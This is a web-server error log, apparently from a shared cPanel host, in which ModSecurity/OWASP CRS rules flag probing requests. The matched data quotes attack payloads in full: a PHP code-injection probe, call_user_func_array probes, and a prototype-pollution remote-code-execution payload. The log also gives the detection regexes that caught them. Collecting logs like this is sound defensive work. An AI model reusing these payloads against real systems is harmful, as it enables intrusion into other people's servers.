[Fri Jul 17 09:28:12.953752 2026] [security2:error] [pid 2039911:tid 2039911] [client 45.66.35.35:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:vars[0]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:vars[0]: <?php echo md5('a3233a3800f8cba9dd419d1997d27412');"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVJBVIrrUwtEhdafW-gAAAAU"]
[Fri Jul 17 09:28:12.954523 2026] [security2:error] [pid 2039911:tid 2039911] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVJBVIrrUwtEhdafW-gAAAAU"]
[Fri Jul 17 09:28:12.955141 2026] [security2:error] [pid 2039911:tid 2039911] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoVJBVIrrUwtEhdafW-gAAAAU"]
[Fri Jul 17 09:28:13.091224 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:13.455555 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:13.547823 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:13.638044 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:13.772268 2026] [security2:error] [pid 2018741:tid 2018741] [client 45.66.35.35:0] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVboj0IkvhSCYadmH4AAAAAQ"]
[Fri Jul 17 09:28:13.772926 2026] [security2:error] [pid 2018741:tid 2018741] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVboj0IkvhSCYadmH4AAAAAQ"]
[Fri Jul 17 09:28:13.773533 2026] [security2:error] [pid 2018741:tid 2018741] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoVboj0IkvhSCYadmH4AAAAAQ"]
[Fri Jul 17 09:28:13.784442 2026] [security2:error] [pid 2019501:tid 2019501] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/wp-cron.php"] [unique_id "almoVbEWOaI5pmYo9fnU0QAAAAA"]
[Fri Jul 17 09:28:13.784477 2026] [security2:error] [pid 2019501:tid 2019501] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/wp-cron.php"] [unique_id "almoVbEWOaI5pmYo9fnU0QAAAAA"]
[Fri Jul 17 09:28:14.459920 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:14.708577 2026] [security2:error] [pid 2018768:tid 2018768] [client 45.66.35.35:0] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVlCBpfuYyhJ140vYfgAAAB4"]
[Fri Jul 17 09:28:14.709564 2026] [security2:error] [pid 2018768:tid 2018768] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVlCBpfuYyhJ140vYfgAAAB4"]
[Fri Jul 17 09:28:14.710513 2026] [security2:error] [pid 2018768:tid 2018768] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoVlCBpfuYyhJ140vYfgAAAB4"]
[Fri Jul 17 09:28:14.733810 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:14.825148 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:15.006748 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:15.015245 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:48330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:15.153592 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:15.189475 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:15.432820 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:48366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:15.484015 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:15.599873 2026] [security2:error] [pid 2013829:tid 2013829] [client 45.66.35.35:0] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVw7FYe46zHK_jL3VxwAAABk"]
[Fri Jul 17 09:28:15.600584 2026] [security2:error] [pid 2013829:tid 2013829] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVw7FYe46zHK_jL3VxwAAABk"]
[Fri Jul 17 09:28:15.601158 2026] [security2:error] [pid 2013829:tid 2013829] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoVw7FYe46zHK_jL3VxwAAABk"]
[Fri Jul 17 09:28:15.917910 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:16.009356 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:16.107309 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:16.375218 2026] [security2:error] [pid 2047046:tid 2047046] [client 45.66.35.35:0] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoWE_0b3nWp8txtSDDCQAAAA0"]
[Fri Jul 17 09:28:16.375949 2026] [security2:error] [pid 2047046:tid 2047046] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoWE_0b3nWp8txtSDDCQAAAA0"]
[Fri Jul 17 09:28:16.376581 2026] [security2:error] [pid 2047046:tid 2047046] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoWE_0b3nWp8txtSDDCQAAAA0"]
[Fri Jul 17 09:28:17.407755 2026] [security2:error] [pid 2032156:tid 2032156] [client 45.66.35.35:0] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoWa14q1EBnanVMYGp9gAAAAk"]
[Fri Jul 17 09:28:17.408379 2026] [security2:error] [pid 2032156:tid 2032156] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoWa14q1EBnanVMYGp9gAAAAk"]
[Fri Jul 17 09:28:17.408946 2026] [security2:error] [pid 2032156:tid 2032156] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoWa14q1EBnanVMYGp9gAAAAk"]
[Fri Jul 17 09:28:18.211750 2026] [security2:error] [pid 2030774:tid 2030774] [client 45.66.35.35:0] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoWhHlOGcokz2QIwTZTwAAAAM"]
[Fri Jul 17 09:28:18.212374 2026] [security2:error] [pid 2030774:tid 2030774] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoWhHlOGcokz2QIwTZTwAAAAM"]
[Fri Jul 17 09:28:18.212926 2026] [security2:error] [pid 2030774:tid 2030774] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoWhHlOGcokz2QIwTZTwAAAAM"]
[Fri Jul 17 09:28:18.393556 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:48494] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:18.470167 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:19.729470 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:48546] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:22.417588 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:22.636471 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:24.016772 2026] [security2:error] [pid 2036488:tid 2036488] [client 93.152.221.65:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "epid.gov.lk"] [uri "/wp-login.php"] [unique_id "almoYLEKozcCJ-ReuK0I2gAAAAg"]
[Fri Jul 17 09:28:24.017216 2026] [security2:error] [pid 2036488:tid 2036488] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "epid.gov.lk"] [uri "/wp-login.php"] [unique_id "almoYLEKozcCJ-ReuK0I2gAAAAg"]
[Fri Jul 17 09:28:24.017548 2026] [security2:error] [pid 2036488:tid 2036488] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "epid.gov.lk"] [uri "/wp-login.php"] [unique_id "almoYLEKozcCJ-ReuK0I2gAAAAg"]
[Fri Jul 17 09:28:25.675301 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:25.812085 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoYbEKozcCJ-ReuK0I2wAAAAg"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:28:25.812115 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoYbEKozcCJ-ReuK0I2wAAAAg"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:28:26.550678 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:33520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:26.605170 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:27.287205 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:33588] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:28.050920 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:33602] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:28.276096 2026] [security2:error] [pid 2018757:tid 2018757] [client 45.66.35.35:0] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=91112*22212 throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/"] [unique_id "almoZEkXT4NBqALj2laCzQAAABA"]
[Fri Jul 17 09:28:28.277189 2026] [security2:error] [pid 2018757:tid 2018757] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/"] [unique_id "almoZEkXT4NBqALj2laCzQAAABA"]
[Fri Jul 17 09:28:28.277812 2026] [security2:error] [pid 2018757:tid 2018757] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.html"] [unique_id "almoZEkXT4NBqALj2laCzQAAABA"]
[Fri Jul 17 09:28:28.845418 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:33638] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:29.521842 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:33696] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:29.851075 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:29.868743 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:32.634186 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:32.790013 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/sn/posts/uterine-cancer"] [unique_id "almoaLEKozcCJ-ReuK0I4AAAAAg"]
[Fri Jul 17 09:28:32.790536 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/sn/posts/uterine-cancer"] [unique_id "almoaLEKozcCJ-ReuK0I4AAAAAg"]
